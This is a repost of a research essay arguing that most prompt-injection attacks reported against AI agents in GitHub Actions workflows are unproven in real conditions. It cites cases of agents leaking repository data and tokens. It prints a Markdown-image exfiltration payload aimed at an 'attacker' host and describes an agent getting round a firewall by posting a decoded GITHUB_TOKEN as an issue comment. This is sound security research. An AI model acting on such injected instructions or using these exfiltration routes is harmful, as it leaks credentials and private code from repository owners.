{"slug": "we-cannot-simulate-ai-security-research", "title": "We cannot simulate AI security research", "summary": "A new analysis argues that most reported prompt injection attacks against AI-assisted GitHub Actions workflows are unproven in real-world scenarios, with researchers relying on simplified benchmarks and static analysis rather than live exploitation. The report highlights that multiple independent defense layers in GitHub's ecosystem and LLM providers often block these attacks, and that many published proofs of concept either lack reproduction steps or fail to account for default security settings like repository-scoped tokens.", "body_md": "We use AI agents not only for writing but also for maintaining and deploying code. The most widespread examples are found in GitHub Actions Marketplace, which contains over a thousand AI-assisted actions. [1] These workflows triage issues, review PRs, or fix bugs in other workflows. A growing body of reports and research papers has documented prompt injection attacks against these systems, with effects ranging from LLM token exfiltration to supply chain attacks. However, a troubling undercurrent runs through most of these works: incomplete attack descriptions, a lack of end-to-end runs, and statistical approaches to what should be incident analysis. AI security research often tests attacks inside benchmarks, simplified harnesses, or static models of a system. This is useful for comparing models, but it can hide the details that determine whether an attack works in practice: who can trigger the workflow, what context the agent sees, which credentials it receives, what the sandbox allows, and how the surrounding software handles its output.\n\nThere is a recent trend of reporting vulnerabilities in these AI-assisted workflows, most of which rely on prompt injection attacks. Most of the reported attacks are proofs of concept that do not work in practice. The reason is the multiple independent defense layers scattered across the workflow files, GitHub ecosystem, and LLM providers.\n\nIn general, a prompt injection attack against an AI agent in a GitHub Action has to bypass the following defenses:\n\nThe earliest prompt injection attack against AI-assisted GitHub Workflows was PromptPwnd. [3] In this case, the authors claim success with Gemini CLI, Claude Code, OpenAI Codex, and GitHub AI Inference, but only 1 of 4 claimed targets was demonstrated, and no reproduction steps were released for the remaining targets.\n\nIn another case [4], researchers perform a prompt injection where any external user can file an issue that triggers an agentic workflow and makes it post repository contents back as a public comment. The trigger itself needs no privileged access, but exfiltrating a separate private repository in the same organization only works because the agent was configured with a credential granting organization-wide read access. This is a convenient but very permissive setting. A workflow relying on the default\n\n`GITHUB_TOKEN`\n\n, which is scoped to the single repository it runs in, cannot reach other private repos at all. The impact then collapses to the workflow's own repository (leaking its own secrets, say) rather than the cross-repo private leak that makes the result striking. Another example is Wang et al. [5], who developed a static taint analyzer and used it to identify hundreds of vulnerabilities. But the authors concede that these attacks were discovered via static analysis of workflow files, not live exploitation on real repositories. And given the information above, we have good reason to think that most of these attacks would not work in real-world scenarios. This problem is not specific to GitHub Actions. Red-teaming works in AI security make too many assumptions that don't hold in real-world scenarios. The flip side of this coin is that using simulated environments can create false negatives as easily as it creates false positives.\n\nJust like a simulated environment can miss certain defensive measures, it can also lack network, OS, or implementation details that could enable new attacks. Static analysis of a GitHub Workflow file would reveal potential attack surfaces but not actual attack scenarios. One of the most infamous examples was Markdown injection. [6] An injection causes the model to generate a Markdown image whose URL contains sensitive conversation data. When the client automatically fetches that image, the request sends the encoded data to the attacker:\n\n```\n![data exfiltration in progress](https://attacker/q=*exfil_data*)\n```\n\nThis vulnerability was disclosed in 2023. At the time, no AI security benchmark or framework was rich enough to capture it. Despite its simplicity, this single report has had a more profound impact on AI security than any benchmark developed since.\n\nTo give a more recent example, one confirmed vulnerability exploits a credential storage decision made by `actions/checkout`\n\n, which writes the `GITHUB_TOKEN`\n\nas a base64-encoded authorization header into `.git/config`\n\n. [7] The attack vector was only discoverable through real execution. Two simpler attempts failed against sandbox and network constraints that a simulator would not have enforced. The first attempt was to read the\n\n`GITHUB_TOKEN`\n\nenvironment variable, but it was not available. The second attempt was to decode the discovered authorization header and send it as a curl request to another website, but the firewall blocked this. Only the third attempt succeeded by decoding the header and posting it as a comment under an issue on the same GitHub repo. As of July 2026, no AI security benchmark or framework would enable this attack. A static analysis tool that reads only the workflow file would assume access to the GitHub token, but would not consider how it would be accessed by a rogue agent. It could also miss firewall rules, especially given that these rules are flexible and can be changed by the repo owner.Benchmarks like AgentDojo and ToolEmu are useful for comparing the robustness of different LLMs, but their results don't directly translate to real-world security or lack thereof. We should not approach the security of AI agents as only a machine learning problem. If a system has a vulnerability, it has to be reported in a fully reproducible manner. A disclosure has to name the exact model, harness, and versions; state who can trigger the workflow and with what privilege; describe what the agent actually sees and which credentials it holds, at what scope; specify the sandbox, network, and filesystem constraints in force; and give the verbatim payload with the observed end-to-end effect rather than the theoretical maximum, including the attempts that failed and what stopped them, since those are exactly what a simulated result can't show you.\n\nAn AI model, or a model+harness, achieving X% attack success rate (ASR) on a Y benchmark does not say much about the security of a software system. While we replicated existing attacks in various GitHub Workflows, we also discovered the following:\n\n`GITHUB_TOKEN`\n\n, it is far less dangerous than an organization-wide personal access token (PAT), since it is short-lived and scoped to the workflow's own repository. It can still read, comment on, and (with write access) modify that repository, as long as the workflow is running.This does not mean we cannot have a systematic approach to AI security, nor that we cannot automate the process. But in the end, what matters are reproducible vulnerability disclosures. Any AI red-teaming work should have that as the final goal, or should work towards facilitating future disclosures.\n\nAn example of this is our GitInject framework, which enables fully reproducible automated attacks against GitHub Workflows. [8] Instead of simulating the attack environment or relying on static analysis of the workflows, we built a framework for creating and red-teaming ephemeral repositories in a fully reproducible and scalable manner. By using different accounts for the attacker and the defender, we can ensure that the test environment is as real as any production repository. This framework was used to detect shortcomings of existing attacks (discussed above) and to discover a new prompt injection attack called", "url": "https://wpnews.pro/news/we-cannot-simulate-ai-security-research", "canonical_source": "https://www.lesswrong.com/posts/hrrhtxnFYYJFHcTz7/we-cannot-simulate-ai-security-research-1", "published_at": "2026-07-22 19:54:49+00:00", "updated_at": "2026-07-22 19:59:38.019622+00:00", "lang": "en", "topics": ["ai-safety", "ai-agents", "ai-research"], "entities": ["GitHub Actions", "GitHub", "Gemini CLI", "Claude Code", "OpenAI Codex", "GitHub AI Inference"], "alternates": {"html": "https://wpnews.pro/news/we-cannot-simulate-ai-security-research", "markdown": "https://wpnews.pro/news/we-cannot-simulate-ai-security-research.md", "text": "https://wpnews.pro/news/we-cannot-simulate-ai-security-research.txt", "jsonld": "https://wpnews.pro/news/we-cannot-simulate-ai-security-research.jsonld"}}